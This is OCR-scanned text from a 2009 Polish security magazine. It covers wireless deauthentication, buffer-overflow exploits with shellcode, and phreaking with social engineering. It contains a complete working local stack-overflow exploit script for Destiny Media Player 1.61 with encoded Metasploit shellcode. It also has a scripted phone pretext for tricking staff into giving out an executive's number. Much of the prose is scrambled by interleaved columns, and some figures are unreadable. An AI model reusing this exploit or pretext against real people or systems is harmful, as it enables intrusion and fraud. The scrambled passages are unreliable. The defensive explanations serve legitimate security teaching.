bezprzewodowej wymiany danych. Praktycznie każda osoba
zaopatrzona w kartę bezprzewodową umożliwiającą pracę w
trybie Monitor, mająca możliwość wstrzykiwania pakietów oraz
posiadająca odrobinę wiedzy niezbędnej do wykonania ataku,
jest w stanie zakłócić działanie całej sieci. Rozwiązaniem może
okazać się zaimplementowanie własnych poprawek, dodatkowej
weryfikacji STA w sieci bezprzewodowej lub oczekiwanie na
wprowadzenie nowego standardu IEE 802.11w (datowanego
na grudzień 2009). Specyfikacja obejmuje 4 mechanizmy
bezpieczeństwa. Chronione będą ramki Unicast (ramki
zarządzania wymieniane między STA i AP), ramki Broadcast,
Deauthentication oraz Disassociation.

Norbert Kozłowski
Wolne chwile wykorzystuje na pogłębienie wiedzy z zakresu bezprzewodowej wymiany
danych, elementów języków programowania (Perl, Ansi C) oraz podstawowych
aspektów bezpieczeństwa. Członek grupy u-Crew.
Kontakt z autorem: khozzy@gmail.com

4/2009 HAKIN9 27
ATAK
PIOTR JASTAK

Exploity
i shellcode
Stopień trudności Exploit to francuskie słowo oznaczające osiągnięcie.
Większości osób zainteresowanych tematyką bezpieczeństwa
komputerowego Exploit kojarzyć się będzie raczej
z wykorzystaniem słabości oprogramowania źle napisanego
pod kątem bezpieczeństwa. Poznanie głównych zasad działania
exploitów, a także shellcodów, jest dobrym wstępem do analizy
świata zabezpieczeń komputerowych.

E
xploit to program, fragment kodu, lub czyli programem rozprzestrzeniającym się
szereg poleceń, które mają pozwolić na poprzez wykorzystywanie luk w istniejącym
wykorzystanie luki w oprogramowaniu oprogramowaniu, był robak Morrisa (Morris
celem zapewnienia osobie wykorzystującej worm), napisany w 1988 roku przez studenta
lukę określonych korzyści, od podsłuchania Uniwersytetu Cornella, Roberta T. Morrisa.
pojedynczej sesji do przejęcia całkowitej kontroli Program ten, tak jak współczesne robaki, łączył
nad maszyną. Shellcode to fragment kodu, się z innym komputerem, po czym wykorzystywał
który po uruchomieniu spowoduje wykonanie istniejące słabości, aby załadować i uruchomić
przez system określonych czynności – zwykle swoją kopię.
jest to uruchomienie powłoki ze wskazanymi
parametrami, do czego odnosi się zresztą sam Przez teorię do praktyki
omawiany termin. Czasami wszystko, czego potrzeba do
Trudno jest wskazać moment, w którym pomyślnego przeprowadzenia ataku, to jedna
zaczęły pojawiać się pierwsze exploity, bowiem źle napisana linijka kodu. Wczesne języki
chęć przechytrzenia systemu i obejścia reguł programowania tworzone były w czasach,
od zawsze towarzyszyła ludziom ciekawym kiedy złośliwość kodu ograniczała się do
możliwości komputerów. Steven Levy w swojej dowcipów nawiązujących do hakerskiego
książce Hackers: Heroes of the Computer humoru, a bezpieczeństwem oprogramowania
Revolution pisze między innymi o naukowcach, nie przejmowano się zanadto, gdyż zakładano,
którzy na początku lat 70-tych wykorzystywali że nawet jeśli ktoś spowoduje jakiś błąd w
Z ARTYKUŁU komputery podłączone do ARPANET-u, aby programie, to nie zrobi tego w niecnym celu. Język
DOWIESZ SIĘ wysyłać sobie nawzajem żartobliwe lub C, stworzony w 1972 roku, pozwala na ścisłą
czym są exploity i shellcody, denerwujące wiadomości (chociaż uzyskiwanie kontrolę nad niskopoziomowymi procesami
jak działają ataki przepełniające
dostępu do zdalnej maszyny bez wcześniejszej w systemie, ale też domyślnie nie ma prawie
bufor, zgody właściciela nie było wtedy postrzegane żadnych zabezpieczeń przed tworzeniem luk
jakie są typy ataków jako atak). W 1986 roku Cliff Stoll z Lawrence w oprogramowaniu. Oto przykładowy fragment
przepełniających.
Berkeley National Laboratory w Kalifornii zdołał programu, który będziemy analizować (Listing 1).
CO POWINIENEŚ uzyskać dane z komputerów rozsianych po Fragment kodu pobiera wskaźnik do tablicy
WIEDZIEĆ całych Stanach Zjednoczonych, wykorzystując znaków foo, następnie ustala jej wielkość i
znać podstawy assemblera, błąd rachunkowy w systemach podłączonych kopiuje ją w całości do tablicy znaków bar.
znać sposoby obsługi wywołań
do ARPANET-u – co opisał w swojej książce The Tablica znaków bar może jednak pomieścić
funkcji na poziomie procesora. Cuckoo's Egg. Pierwszym w historii robakiem, tylko 40 znaków (łącznie z zerem kończącym

28 HAKIN9 4/2009
ANALIZA NAJCZĘŚCIEJ SPOTYKANYCH TECHNIK ATAKU

ciąg znaków), a zatem jeśli liczba znaków z najnowszych ataków przepełnienia Widzimy tutaj, że exploit ten po
kopiowana z ciągu wskazywanego przez bufora został opublikowany 4 stycznia uruchomieniu generuje plik o nazwie
foo będzie większa od liczby znaków, 2009 roku i dotyczy on konsoli Play Stack i rozszerzeniu .lst . Zatem, jeśli
które może pomieścić tablica bar, Station Portable. Destiny Media Player będzie naszym
nastąpi przepełnienie bufora i nadpisanie domyślnym odtwarzaczem list
wcześniejszych danych na stosie. Exploity a shellcode odtwarzania i otworzymy wygenerowany
Ponieważ wśród tych danych znajduje Warto tutaj zaznaczyć pewną zależność plik, nastąpi przepełnienie bufora
się wskaźnik do instrukcji występującej w – choć exploity nie wymagają shellcodu owocujące przepełnieniem stosu, co z
kodzie po wywołaniu funkcji, pozwalający do działania, to shellcode musi być kolei spowoduje wykonanie shellcodu.
wrócić do dalszego wykonywania dostarczony za pomocą jakiegoś Wiąże się to z brakiem sprawdzania przez
programu, to nadpisanie go spowoduje exploita (nie musi to być nawet program program rozmiaru akceptowanych danych,
wczytanie i wykonanie przez komputer – shellcode można przecież wprowadzić luką występującą nader często. Co
instrukcji pod dowolnym adresem. samemu razem z danymi przepełniającymi prawda jest to tylko tzw. proof-of-concept ,
Zatem ciąg AAAAA nie spowoduje bufor, jest to jednak dość żmudne i ale ilość dostępnego miejsca – ponad
żadnych zmian w oryginalnym działaniu bezcelowe, zwłaszcza w przypadku 160 bajtów – spokojnie wystarcza na
programu, ale ciąg AAA ... (48 liter A - ciąg dużych buforów). W typowym exploicie umieszczenie kodu dodającego na
znaków bar, adres (32-bitowy) ciągu przepełniającym bufor znajdują się przykład użytkownika z uprawnieniami
foo, wskaźnik bazowy) ... \x90\x0F\x50\ następujące elementy: administratora.
x30 najprawdopodobniej spowoduje
nadpisanie adresu zwrotnego adresem • dane przepełniające bufor. Techniki
0x900F5030). Właśnie ten typ słabości • shellcode. nadpisywania bufora
wykorzystywał do rozprzestrzeniania się • pułapka NOP (ang. NOP slide), skok
wspomniany wcześniej robak Morrisa. do rejestru lub powrót do biblioteki • Przepełnienie stosu: jedna z
(zależnie od techniki). najczęściej wykorzystywanych
Czas jest względny • nowy adres zwrotny (zależnie od technik; atakujący korzysta z braku
Mimo ewolucji zarówno języków, jak techniki). sprawdzania ograniczeń (ang.
i technik programowania, języki takie bounds checking) rozmiaru danego
jak C (nieograniczające domyślnie Najlepiej będzie to zaprezentować na bufora, nadpisując tym samym adres
możliwości wystąpienia przepełnienia przykładzie exploita wykorzystującego powrotny funkcji.
bufora, a także umożliwiające niedbałe przepełnienie bufora w aplikacji Destiny • Przepełnienie sterty (ang. heap):
programowanie w celu zaoszczędzenia Media Player (wersja 1.6), dostępnego na rzadziej wykorzystywana technika
czasu) nie tracą na popularności. stronie http://downloads.securityfocus.co – ponieważ sterta rośnie do góry,
Owocuje to wciąż odkr ywanymi m/vulnerabilities/exploits/33100_Stack.py nadpisujemy wskaźnik umieszczony
lukami, z któr ych znaczną większość (Listing 2). gdzieś nad naszym buforem, do
stanowią rozmaite przepełnienia bufora
(obecnie jednak ustępujące innym
lukom). Zapobieganie przepełnieniom
nie jest jednak wystarczające, gdyż
istnieją ataki korzystające z faktu, że
kontrola rozmiaru wprowadzanych
danych nie ma znaczenia, jeśli nie są
one filtrowane – XSS (ang. Cross-Site
Scripting) czy SQL Injection. Dowodem
na zastój w dziedzinie odpowiedzialnego
programowania niech będzie fakt, że
co miesiąc ukazują się nowe luki w
istniejącym oprogramowaniu, a jeden

Listing 1. Źle napisany kod

#include string.h

void function (char *foo)


{
char bar[40];
memcpy(bar, foo, strlen(foo));
}
Rysunek 1. Przeglądarkowa wersja Metasploita

4/2009 HAKIN9 29
ATAK
którego wiemy, że funkcja się odwołuje operacji, w linii x86 Intela instrukcja w pamięci, w którym znajdować
(np. adres innej funkcji, wywoływany z reprezentowana przez bajt 0x90). Jest się będzie nasza zmienna, a więc
wnętrza funkcji, którą wykorzystujemy). to sposób zabezpieczenia się przed bezpośrednie wskazywanie na sam
• Pułapka NOP (ang. NOP slide): niepożądanymi przez atakującego początek shellcodu byłoby trudne.
technika, w której przed naszym aspektami przepełniania bufora. Bajty NOP zapewniają margines błędu,
shellcodem umieszczamy określoną Mianowicie, nie zawsze jesteśmy w który możemy wykorzystać podczas
ilość instrukcji NOP, czyli no-op (brak stanie dokładnie określić miejsce modyfikowania adresu powrotnego.
Procesor po napotkaniu bajtu NOP
przechodzi po prostu do następnej
����� instrukcji, nie wprowadzając żadnych
�� ����������������� zmian w stanie programu. Po przejściu
przez n bajtów NOP dochodzi on
�� �����������������
jednak wreszcie do polecenia skoku
�� �������������� do naszego shellcodu (który jest
przesunięty o określoną ilość instrukcji
��
NOP od początku bufora plus długość
�� �������������������������� samego shellcodu), po czym wykonuje
�� �������������������������� go w całości, owocując udanym
atakiem.
�� ��������������������������
• Skok do rejestru (ang. jump to
register): technika bardzo przydatna,
jeśli nie jesteśmy w stanie dokładnie
Rysunek 2. Poprawnie zainicjalizowany stos stwierdzić, do jakiego adresu w
pamięci powinniśmy się odwoływać.
Zamiast nadpisywać adres powrotny
adresem znajdującym się gdzieś w
�� ����
pamięci czy adresem pułapki NOP
�� ��� przed shellcodem (lub skokiem do
shellcodu), nadpisujemy go adresem
������������������������
��
w pamięci, pod którym znajduje się
�� kod operacji (ang. opcode) skoku do
ESP (dla zestawu instrukcji i386 jest to
�� ���������
FF E4). Elegancja tej techniki polega
�� ��������� na tym, że przy powrocie z funkcji
���������
ESP, wskazujący wcześniej na adres
��
powrotny, zostaje zwiększony o 2, co
w efekcie powoduje wskazywanie na
adres „tuż za” adresem powrotnym. Z
Rysunek 3. Stos po jednym z typów przepełnienia wykorzystującym pułapkę NOP kolei dzięki temu przy przepełnieniu
bufora i zmianie adresu powrotnego
możemy tuż za nim umieścić nasz
shellcode.
�� ��������� • Trampolina DLL (ang. DLL
�� ��� trampolining), technika prawie
identyczna jak skok do rejestru, z tym
������������������������
��
że wywołujemy tym razem funkcję
�� jednej z bibliotek systemowych,
pozwalającą nam na kontynuowanie
��
wykonywania od określonego miejsca.
�� Przykładem może być zacytowany
exploit, w którym adres powrotny jest
��
nadpisywany adresem funkcji skoku
����������
do ESP, za którym znajduje się 90-
bajtowa pułapka NOP i shellcode.
• Wywołanie libc: jedno z
Rysunek 4. Przepełnienie mające na celu wymuszenie skoku do SP najbardziej pomysłowych obejść

30 HAKIN9 4/2009
ANALIZA NAJCZĘŚCIEJ SPOTYKANYCH TECHNIK ATAKU

niewykonywalnego stosu. Naszym się on gdzieś w środku ładunku – umiejętnością stwierdzenia, jakie
shellcodem nie jest zestaw instrukcji w naszego exploita, to ciąg znaków instrukcje asemblera tworzyć będą
języku maszynowym, ale argumentów pobierany będzie tylko do momentu kod zawierający bajty zero.
dla wywoływanej funkcji biblioteki jego wystąpienia, a zatem exploit • Nasilająca się konieczność unikania
libc, która w systemach UNIX-owych nie zadziała. Często, niestety, wiąże zbyt długich ciągów instrukcji NOP:
dostarcza między innymi takich funkcji się to z koniecznością znajomości coraz więcej systemów detekcji
jak system(), pozwalającej uruchomić kodu maszynowego, a konkretnie intruzów analizuje pobierane przez
arbitralnie wybrany program.
Listing 2. Typowy exploit wykorzystujący przepełnienie bufora (z użyciem techniki
Pisanie shellcodu skoku do SP)
Shellcode jest prawie zawsze napisany
#usage: exploit.py
w języku maszynowym, a zatem
print "**************************************************************************"
bezpośrednie pisanie w nim programów print " Destiny Media Player 1.61 (.lst File) Local Stack Overflow Exploit\n"
jest żmudne i niewygodne. Pisanie go print " Founder: Encrypt3d.M!nd"
w formie programów języka wysokiego print " exploit & code: Stack"
print " Tested on: Windows XP Pro SP2 Fr\n"
poziomu też jest jednak niemożliwe,
print " Greetings to:"
gdyż generowane przez większość print " All friends \n"
kompilatorów programy są zbyt duże print "**************************************************************************"
(należy tu pamiętać, że jesteśmy
najczęściej ograniczeni do rozmiaru buff = "\x41" * 2052
paruset bajtów). Z tego też powodu istnieją EIP = "\x5D\x38\x82\x7C" #call ESP from kernel32.dll
dwie efektywne metody pisania shellcodu:
nop = "\x90" * 10
# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://
• Pisanie odpowiedniego ciągu metasploit.com
instrukcji w asemblerze, następnie shellcode = (
asemblowanie go do kodu "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9"
"\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05"
maszynowego i wykorzystywanie tegoż "\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09"
jako naszego shellcodu. Przydatna jest "\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d"
umiejętność pisania bardzo zwięzłego "\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26"
"\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64"
kodu, do czego potrzebna jest bardzo
"\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
dobra znajomość asemblera. "\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28"
• Rozwiązaniem dla leniwych, "\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44"
niepozwalającym zagłębić się "\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
"\xac\x2c\xc9\x40"
w arkana niskopoziomowego
)
programowania, ale na pewno exploit = buff + EIP + nop + shellcode
szybszym. jest korzystanie z try:
frameworku, takiego jak Metasploit out_file = open("Stack.lst",'w')
out_file.write(exploit)
(Rysunek 1), lub ze stron takich jak out_file.close()
milw0rm, zamieszczających gotowe raw_input("\nExploit file created!\n")
shellcody. except:
print "Error"

Do głównych problemów związanych z


pisaniem shellcodu zaliczyć można:

• Konieczność unikania znaków Przypomnienie konstrukcji stosu


niealfanumerycznych i bajtów 0: i wywoływania funkcji (architektury Intel)
większość programów, pobierając W większości architektur stos rośnie „w dół” – w kierunku niższych adresów. Podczas wywoływania
dane wprowadzane przez użytkownika, funkcji na stosie zostają umieszczone jej argumenty, następnie adres powrotny, a potem wartość
pomijać będzie znaki, które nie są wskaźnika bazowego (BP) wskazująca na początek poprzedniej ramki. Po odłożeniu tych
drukowalne, czyli wykraczają poza wartości na stos wskaźnik bazowy jest zmieniany na wskaźnik stosu (SP), aby wskazywać na
początek nowej ramki i umożliwić odwoływanie się do argumentów i zmiennych lokalnych funkcji.
tablicę znaków danego programu.
Następnie wskaźnik stosu zmniejszany jest o rozmiar zmiennych lokalnych, aby możliwe było ich
Bajty 0 (czyli 0x00) muszą być wprowadzenie. Podczas powrotu z funkcji proces jest odwracany: SP zastępowany jest wartością
unikane ze względu na to, że przy BP, po czym zachowana poprzednia wartość BP jest przenoszona na miejsce obecnego BP.
interpretacji bloku danych jako Ostatecznie odczytywany jest adres powrotny, wartość SP zwiększana jest o 2, a wykonywanie
ciągu znaków bajt zero oznacza programu powraca do adresu instrukcji określonym w adresie powrotnym.
koniec ciągu. Zatem, jeśli znajduje

4/2009 HAKIN9 31
ATAK
program dane, wyszukując w nich zestawie heksadecymalnych instrukcji. Po Warto zaznaczyć, że używanie techniki
długich ciągów oznaczających w ustaleniu odpowiedniego typu i rozmiaru powrotu do libc umożliwia obejście
kodzie maszynowym brak operacji danych wejściowych oraz stworzeniu tego rozwiązania.
i nie pozwala na wprowadzanie odpowiedniego shellcodu napisanie • Losowe rozmieszczenie przestrzeni
podejrzanych danych do pamięci. exploita będącego krótkim skryptem adresowej (ang. Address Space
Problem ten można na szczęście dostarczającym owe dane nie jest niczym Layout Randomization, ASLR). Technika
obejść za pomocą każdej instrukcji, trudnym. Problemy, przed którymi stają polega na losowej aranżacji początku
która nie zmienia stanu programu do twórcy exploitów, są jednak związane obszaru danych, tekstu, sterty i
tego stopnia, że wykonanie naszego przede wszystkim z czasem ich publikacji, stosu, uniemożliwiając przewidzenie
shellcodu stałoby się niemożliwe. gdyż zwykle dość krótko po opublikowaniu poprawnej zmiany adresu zwrotnego.
Stworzenie zlepka niepozornie metod na wykorzystanie luki pojawiają Ataki przepełnienia bufora nie są
wyglądających instrukcji, które w się łatki. Z tego też powodu exploity „Dnia niemożliwe, ale bardzo utrudnione.
gruncie rzeczy nic nie robią, pozwala w Zerowego” (ang. Zero Day) są uznawane
większości przypadków na ominięcie za bardzo cenne i stanowią własność Przede wszystkim każdy programista
tej techniki detekcji intruzów. bardzo wąskich grup, zanim zostają powinien jednak pamiętać o tym, by nigdy
• Ograniczenia sprzętowe i systemowe: upublicznione. nie ufać danym wprowadzanym przez
kod maszynowy należący do jednego użytkownika.
zestawu instrukcji (na przykład Sposoby obrony
SPARC) będzie działał poprawnie Po krótkim omówieniu pojęć exploitów Podsumowanie
tylko na procesorach obsługujących i shellcodu czas na wymienienie kilku Robak Morrisa przez krótki czas
dany zestaw instrukcji i żaden inny. sposobów radzenia sobie z atakami: wstrzymał działanie ówczesnego
Systemy operacyjne, nawet z tej samej Internetu. Blaster przez parę tygodni
rodziny, ale różniące się wersją łatek, • Umieszczanie wartości kontrolnej w dręczył użytkowników Windows
mogą oznaczać potrzebę kompletnej postaci zmiennej. Wartość ta może być komunikatami o potrzebie zrestartowania
przebudowy exploita, gdyż zmienić dowolną wartością, która nie będzie systemu. W artykule zapoznaliśmy się
się mógł adres konkretnej funkcji zmieniać się w czasie wykonywania z krótkim przedstawieniem metody
bibliotecznej. programu. Jeśli przed powrotem z przejmowania kontroli nad aplikacją
funkcji zauważymy, że uległa zmianie, za pomocą przepełnienia bufora,
Tworzenie exploitów oznacza to, że najprawdopodobniej wykazaliśmy też, że nieostrożne
Najtrudniejszą częścią całego procesu nastąpiło przepełnienie bufora. programowanie może prowadzić do
wykorzystywania luki jest jej znalezienie Technika ta wymaga, aby wartość katastrofy. Od kilkunastu lat źle napisane
i opracowanie metody wykorzystania. kontrolna znajdowała się w pamięci oprogramowanie wciąż pada ofiarą tej
Mozolna praca z wykorzystaniem ponad buforem wrażliwym na ataki, samej techniki, mimo że przedstawione
debuggerów może zostać skrócona a ponadto powiększa niepotrzebnie w tym artykule sposoby obrony są
przez wyszukiwanie tylko tych fragmentów rozmiar programu. (teoretycznie) dobrze znane. Wartość
programu, które radzić sobie mają z • Obszar niewykonywalny. Rozwiązanie rynku szkodliwego oprogramowania
alokacją wprowadzanych danych w dużo sprytniejsze, polega na w roku 2008 oceniana jest przez
pamięci. Innymi słowy, nasza uwaga sprzętowym lub programowym Kaspersky Lab na 100 miliardów
powinna zawsze koncentrować się na uniemożliwieniu wykonywania kodu dolarów. Mogłoby się wydawać, że
sposobie, w jaki aplikacja przetwarza znajdującego się na stercie lub sytuacja jest beznadziejna, jednak to w
dane użytkownika. Mieczem obosiecznym stosie. Wspierany przez niektóre rękach twórców oprogramowania leży
otwartego oprogramowania jest fakt, że procesory z obsługą bitu NX (ang. No kwestia tworzenia bezpiecznego kodu.
znacznie łatwiej jest odkryć lukę w kodzie, eXecute) lub bitu XD (ang. eXecute Wykorzystywanie języków programowania
który napisany jest w języku zbliżonym Disabled) oraz implementowany przez wyższego poziomu niedopuszczających
do bardzo uproszczonego angielskiego, oprogramowanie, takie jak UNIX-owy do tworzenia programów podatnych
niż w kompletnie niezrozumiałym PaX czy Windowsowy StackDefender. na przepełnienie bufora, a także zwykły
rozsądek zamiast stawiania na szybkość,
pozwalają tworzyć oprogramowanie,
W Sieci które zawierać będzie dużo mniej luk
– czym oszczędzimy bólu głowy sobie i
• http://en.wikipedia.org/wiki/Buffer_overflow – przepełnienie bufora, artykuł w Wikipedii,
• http://www.milw0rm.com – gotowe exploity i shellcody, a także opisy poszczególnych luk, użytkownikom.
• http://www.metasploit.com – przydatny framework, służący do pisania exploitów,
• http://developer.intel.com/design/processor/manuals/253666.pdf – podręcznik (804 strony)
Piotr Jastak
architektur Intel 64 i IA-32, Autor jest entuzjastą tematyki komputerów, interesuje
• http://securityreason.com/polish/baza_naduzyc - podobna do milw0rm polska baza się bezpieczeństwem, administrowaniem systemami i
sieciami.
exploitów i luk.
Kontakt z autorem: adh0c@gazeta.pl

32 HAKIN9 4/2009
ATAK
Phreaking
RAFAŁ PODSIADŁY

– łamanie
Stopień trudności
zabezbieczeń
Zapraszam na podróż w której poznamy pierwsze metody
phreaking’u dowiemy się jak prekursorzy wykorzystywali swoją
wiedzę i której uchylimy rąbka tajemnicy.

D
zisiejszy artykuł będzie poświęcony tej tematyce znajduje się w hakin9 12/2009 (Ataki
bardzo rozległej tematyce bezpieczeństwa Socjotechniczne). Osobiście zachęcam jeszcze
informacji. W pierwszej kolejności nawiążę raz do zagłębienia się w ten temat, ponieważ
do wydania grudniowego, w którym bardzo tylko i wyłącznie przez poznawanie technik, jakimi
dokładnie opisywałem techniki socjotechniczne, a można nas zaatakować, jesteśmy w stanie się
później – przytaczając kilka przykładów – opiszę skutecznie bronić. Nawet urządzenie szkolenia czy
ataki typu phreaking lub pharming. Następnie przeprowadzenie zwykłej rozmowy z pracownikiem
opiszę, na czym polegają te techniki, jak były pierwszego kontaktu jest bardzo ważne. Pierwszym
wykorzystywane i w jaki sposób nowoczesne i ważnym krokiem takiego ataku jest zapoznanie się
rozwiązania (w szczególności karty inteligentne) z obiektem, który atakujemy, rozpisanie jego cech,
umożliwiają wykonywanie tych ataków dziś. właściwości, struktur. A także zebranie wszystkich
Mam nadzieję, że treść wyda się Wam ciekawa, – istotnych i nieistotnych informacji. To wszystko
zapraszam więc do miłej lektury. Czytelnicy, którzy ma na celu znalezienie miejsc, w których struktury
zapoznali się z grudniowym wydaniem hakin9, z są słabe i narażone na łatwą zmianę – podatne
pewnością widzieli także artykuł dotyczący ataków na wstrzyknięcie nieprawdziwych informacji. Nawet
socjotechnicznych. Dla osób, które go jednak nie społeczeństwo może być traktowane jako obiekt.
czytały, spróbuję zrobić małe streszczenie – aby ta A jego gruntowna analiza, przeprowadzona przez
technika nie była nikomu obca. instytucje badania opinii publicznej, może nam
Socjotechnika to nic innego, jak wykorzystywanie bardzo dużo powiedzieć o jego słabych i mocnych
swoich cech charakteru w bardzo niecnych celach stronach. Przez zbieranie odpowiedzi na proste, z
– odpowiedniego zmanipulowania osoby, z którą pozoru nic nieznaczące pytania, możemy zbudować
Z ARTYKUŁU się rozmawia. Swoje źródła socjotechnika ma w mapę rozwiązań, charakterystykę społeczeństwa
DOWIESZ SIĘ manipulacji. Wyszkolony socjotechnik posługuje w odniesieniu do zadanego pytania. Na co to
poznasz nietypowe sposoby się tą techniką bardzo sprawnie – w jej zakres komu? Taka mapa społecznych odpowiedzi daje
łamania zabezpieczeń,
wchodzą: reguła wzajemności, zasada kontrastu, nam bardzo dużo wiedzy o ludziach i ich życiu,
dowiesz się jak funkcjonują karty
kredytowe. zadawanie zamkniętych pytań, zasada konformizmu, problemach i troskach. Możemy w ten sposób
autorytetów, sympatii, zasady placebo. Są ta dobrać odpowiedni tryb reklamy i rozwiązać te
CO POWINIENEŚ bardzo ciekawe techniki, które wykorzystywane problemy w prosty i przyjemny sposób – dać to,
WIEDZIEĆ są także w reklamach czy promocjach. W czego wymaga społeczeństwo. Dlatego reklamy
znać ogólne zasady psychologi, jednym celu: by nakłonić nas do zakupu naszego proszków do prania mają swój określony czas
podstawy elektroniki, ulubionego produktu, którego tak naprawdę nie emisji. Wykorzystywanie atutów prezenterów, by
podstawy informatyki. potrzebujemy, wspomagając sprzedaż. Artykuł o zwiększyć oglądalność – to czysty marketing, w

34 HAKIN9 4/2009
SOCJOTECHNIKA, PHREAKING, PHARMING

którym nie jest ważny człowiek, a jedynie duże, ale też ograniczone, dlatego ważne tutaj pomocna. Dlatego też odpowiedź na to
pieniądze na nim zarobione. Wystarczy jest, by wnioski napływały w odpowiednim pytanie pozostawię bez rozwiązania.
spojrzeć na reklamę – każda ma początek czasie i były dobrze przygotowane. Aby Powiedzmy słów kilka o oszustwach
i zakończenie, opowiada jakąś historię. w pełni wykorzystać przyznane Waszej telefonicznych. W latach 70, gdy centrale
Bardzo dużo można się nauczyć z telewizji. firmie fundusze, chcielibyśmy poznać Was telefoniczne pracowały na zasadach
Są tam wzorce, które pobudzają emocje, lepiej. Czy moglibyśmy się umówić na impulsowych, a głos ludzki i sygnały kontrolne
oddziałują na naszą wiedzę, intelekt i spotkanie z prezesem firmy, aby określić były przesyłane jedną linią, można było
instynkty. Naprawdę dużo można się jego oczekiwania dotyczące tej pomocy? dokonać włamania i wymusić na centrali
nauczyć. Na późniejszym etapie swojej nauki Moglibyśmy wtedy przedstawić odpowiednie nawiązanie połączenia między dwoma
należy skupić się na sobie, przez stosowanie materiały i zakres pomocy, jakiej możemy telefonami bez uiszczania najmniejszej opłaty.
odpowiedniej barwy głosu, przez wdzięk udzielić. Dlatego proszę o szybki kontakt w Nie jest to socjotechnika, ale wykorzystuje
możemy osiągnąć bardzo wiele. Miły kobiecy miarę możliwości.... w pewnym sensie podobny mechanizm
głos zawsze zostanie zapamiętany, tak samo, To jeden z przykładów oszustwa, za które – podszywania się. Taki rodzaj włamań
jak mężczyzna, którego głos jest wyraźny i można odpowiadać z Kodeksu Cywilnego. określono jako phreaking. To kradzież
brzmiący. Osobiście nie zalecam stosowania sygnału telefonicznego, sygnału i czasu
Kiedy już znamy daną firmę i jej układ podobnych technik, a jedynie zaznajomienie centrali. Phreaking został zapoczątkowany
personalny, działy i inne elementy związane się z nimi, gdyż, będąc po drugiej stronie w USA w związku z dużą powszechnością
z tym obiektem, możemy wykorzystać naszą barykady, obronimy się przed tego typu automatycznych central telefonicznych.
wiedzę w jakimś niecnym celu. Na przykład kłamstwem. Systemy informatyczne także Sygnały kontrolne składały się z 1 lub
– jak zdobyć numer telefonu do naszego dają się oszukiwać – np. przez wprowadzanie (przeważnie) z 2 częstotliwości. Te pierwsze
prezesa. Trzeba pamiętać zasadę numer 1 nieprawdziwych danych do strumienia można było przy odpowiedniej praktyce
– nigdy, przenigdy nie podaje się numeru informacji. Wtedy mamy szansę osiągnąć nawet wygwizdać. Te drugie były generowane
telefonu prezesa osobom trzecim. Ale my swój cel. Oczywiście to również jest karane za pomocą bardzo prostych urządzeń
tego chcemy, a to, czego chcemy, jest – pamiętajmy, że zgodnie z polskim elektronicznych, takich jak tonedialery.
najważniejsze. Wykonujemy zatem prosty prawem ścigane są już przygotowania Szybko zauważono wady central
telefon do firmy, możemy np. powiedzieć, że zmierzające do popełnienia przestępstwa. telefonicznych, a następnie je wyeliminowano.
jesteśmy z banku, ale to już bardzo zgrany Tutaj nasuwa się dylemat, czy zdobywanie Kolejnym krokiem włamywaczy było
numer, więc odradzam. wiedzy w dziedzinie socjotechniki już jest kopiowanie kart magnetycznych, a
Jeśli trafimy na niekompetentną osobę, przestępstwem,
������� czy dopiero jej wykorzystanie. marzeniem phreakera była karta o
zostaniemy rozłączeni. Jednak spróbujmy Nie znam się�������
na prawie aż tak dobrze, by nieograniczonej pojemności rozmowy. W
zagrać tak: Dzień dobry, jesteśmy firmą, moja wypowiedź w tej kwestii mogła być taki sposób spreparowana karta nazwana
która udziela pomocy przy wdrażaniu
nowoczesnych systemów informatycznych.
Jeśli Pan/Pani miał już do czynienia z innymi �����������������������������

firmami, informujemy, że nasza praca �������


jest za darmo. Pozyskujemy fundusze z ���
� �

Unii Europejskiej i chcielibyśmy wspomóc


Waszą firmę zarówno darmowym sprzętem, �

jak i oprogramowaniem. Do tego jednak �������


�����
potrzebujemy informacji, czy jesteście czymś
���������������������������������

��� ��� ��� ��� ��


takim zainteresowani. Naszą ofertą pomocy.
W związku z tym pozostawię swoje dane
��� ���
osobowe i numer telefonu – i jeśli byłby
Pan tak miły i przekazał te dane do osoby ������ ����� ���
decydującej, będę wdzięczny. Chcielibyśmy
już dziś nawiązać współpracę, gdyż termin ������ ����� ���

składania wniosków upływa pod koniec ��� ���


tygodnia, a to od daty podpisania wniosku
zależy, jakiej pomocy możemy Wam udzielić. �����

Jeśli ktoś po drugiej stronie będzie


��������
zainteresowany rozmową, należałoby dodać:
Jest to program tylko jednorazowej pomocy, ���

może w nim wystartować każda firma, ������������������������������������������������


ale tylko raz. Dlatego ciągle poszukujemy
nowych klientów, którym moglibyśmy pomóc.
W tym programie fundusze są bardzo Rysunek 1. Schemat PC/SC

4/2009 HAKIN9 35
ATAK
została świętym Graalem, ale większość trybie offline, co zapobiega ewentualnemu zawartości kodem PIN. Stosowane są one
systemów nie dopuszcza takich kart przechwyceniu danych podczas ich w systemach identyfikacji, kontroli dostępu
– można za to często nagrywać karty transmisji łączami telekomunikacyjnymi. i wszędzie tam, gdzie wymagane jest, aby
o pojemności większej niż największa Następnym plusem karty użytkownik przenosił ze sobą pewną ilość
dostępna w sprzedaży. Budowa takiej karty mikroprocesorowej jest odporność na danych. Tego rodzaju układy dysponować
wygląda następująco: część magnetyczna pole elektromagnetyczne, a jej trwałość mogą największą ilością pamięci. Bardziej
karty jest podzielona na 4 obszary. Jest (okres zużycia) jest 3 razy dłuższa niż karty zaawansowane układy są wyposażone
na niej zapisana maksymalna liczba magnetycznej. w procesor. W maleńkim chipie znajduje
